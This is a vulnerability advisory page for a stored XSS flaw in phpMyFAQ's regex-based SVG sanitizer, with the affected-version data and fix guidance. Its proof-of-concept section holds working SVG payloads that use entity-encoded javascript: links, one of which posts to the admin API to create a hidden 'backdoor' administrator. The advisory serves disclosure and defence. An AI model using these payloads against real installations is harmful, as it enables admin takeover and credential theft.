GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-5crx-pfhq-4hggmedium5.4

phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation

Check your stack

The advisory, in context

Summary

The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.

Details

The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:

/href\s*=\s*["\']javascript:[^"\']*["\']/i

This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58; decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.

Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.

Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.

The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.

PoC

Basic XSS (confirmed working in Chrome 146 and Edge)

  1. Login to phpMyFAQ admin panel with any account that has edit_faq permission
  2. Navigate to Admin → Content → Add New FAQ
  3. In the TinyMCE editor, click the image upload button
  4. Upload this SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)">
    <text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
  </a>
</svg>
  1. The SVG is uploaded to /content/user/images/<timestamp>_<filename>.svg
  2. Open the SVG URL directly in a browser
  3. Click the red text → alert(document.domain) executes

Privilege Escalation (Editor → Admin Takeover)

  1. As editor, upload this SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
  <rect width="500" height="300" fill="#f8f9fa"/>
  <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
    <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
    <text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
  </a>
</svg>
  1. Send the SVG URL to an admin
  2. Admin opens URL, clicks "View Update →"
  3. JavaScript creates backdoor admin user backdoor:H4ck3d!
  4. Attacker logs in as backdoor with full admin privileges

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:

  • Create backdoor admin accounts via the admin API
  • Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
  • Modify or delete FAQ content
  • Achieve full admin account takeover The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 4.1.1

Fixed in 4.1.1

169 explicitly affected versions

2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "4.1.1"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.10.0-alpha",
    "2.8.0",
    "2.8.0-RC",
    "2.8.0-RC2",
    "2.8.0-RC3",
    "2.8.0-RC4",
    "2.8.0-alpha2",
    "2.8.0-alpha3",
    "2.8.0-beta",
    "2.8.0-beta2",
    "2.8.0-beta3",
    "2.8.1",
    "2.8.10",
    "2.8.11",
    "2.8.12",
    "2.8.13",
    "2.8.14",
    "2.8.15",
    "2.8.16",
    "2.8.17",
    "2.8.18",
    "2.8.19",
    "2.8.2",
    "2.8.20",
    "2.8.21",
    "2.8.22",
    "2.8.23",
    "2.8.24",
    "2.8.25",
    "2.8.26",
    "2.8.27",
    "2.8.28",
    "2.8.29",
    "2.8.3",
    "2.8.4",
    "2.8.5",
    "2.8.6",
    "2.8.7",
    "2.8.8",
    "2.8.9",
    "2.9.0",
    "2.9.0-alpha",
    "2.9.0-alpha2",
    "2.9.0-alpha3",
    "2.9.0-alpha4",
    "2.9.0-beta",
    "2.9.0-beta2",
    "2.9.0-rc",
    "2.9.0-rc2",
    "2.9.0-rc3",
    "2.9.0-rc4",
    "2.9.1",
    "2.9.10",
    "2.9.11",
    "2.9.12",
    "2.9.13",
    "2.9.2",
    "2.9.3",
    "2.9.4",
    "2.9.5",
    "2.9.6",
    "2.9.7",
    "2.9.8",
    "2.9.9",
    "3.0.0",
    "3.0.0-RC",
    "3.0.0-RC.2",
    "3.0.0-alpha",
    "3.0.0-alpha.2",
    "3.0.0-alpha.3",
    "3.0.0-alpha.4",
    "3.0.0-beta",
    "3.0.0-beta.2",
    "3.0.0-beta.3",
    "3.0.1",
    "3.0.10",
    "3.0.11",
    "3.0.12",
    "3.0.2",
    "3.0.3",
    "3.0.4",
    "3.0.5",
    "3.0.6",
    "3.0.7",
    "3.0.8",
    "3.0.9",
    "3.1.0",
    "3.1.0-RC",
    "3.1.0-alpha",
    "3.1.0-alpha.2",
    "3.1.0-alpha.3",
    "3.1.0-beta",
    "3.1.1",
    "3.1.10",
    "3.1.11",
    "3.1.12",
    "3.1.13",
    "3.1.14",
    "3.1.15",
    "3.1.16",
    "3.1.17",
    "3.1.18",
    "3.1.2",
    "3.1.3",
    "3.1.4",
    "3.1.5",
    "3.1.6",
    "3.1.7",
    "3.1.8",
    "3.1.9",
    "3.2.0",
    "3.2.0-RC",
    "3.2.0-RC.2",
    "3.2.0-RC.4",
    "3.2.0-alpha",
    "3.2.0-beta",
    "3.2.0-beta.2",
    "3.2.1",
    "3.2.10",
    "3.2.2",
    "3.2.3",
    "3.2.4",
    "3.2.5",
    "3.2.6",
    "3.2.7",
    "3.2.8",
    "3.2.9",
    "4.0.0",
    "4.0.0-RC",
    "4.0.0-RC.2",
    "4.0.0-RC.3",
    "4.0.0-RC.4",
    "4.0.0-RC.5",
    "4.0.0-alpha",
    "4.0.0-alpha.2",
    "4.0.0-alpha.3",
    "4.0.0-alpha.4",
    "4.0.0-beta",
    "4.0.0-beta.2",
    "4.0.1",
    "4.0.10",
    "4.0.11",
    "4.0.12",
    "4.0.13",
    "4.0.14",
    "4.0.15",
    "4.0.16",
    "4.0.18",
    "4.0.19",
    "4.0.2",
    "4.0.3",
    "4.0.4",
    "4.0.5",
    "4.0.6",
    "4.0.7",
    "4.0.8",
    "4.0.9",
    "4.1.0",
    "4.1.0-RC",
    "4.1.0-RC.2",
    "4.1.0-RC.4",
    "4.1.0-RC.5",
    "4.1.0-RC.6",
    "4.1.0-RC.7",
    "4.1.0-alpha",
    "4.1.0-alpha.2",
    "4.1.0-alpha.3",
    "4.1.0-beta",
    "4.1.0-beta.2"
  ]
}

References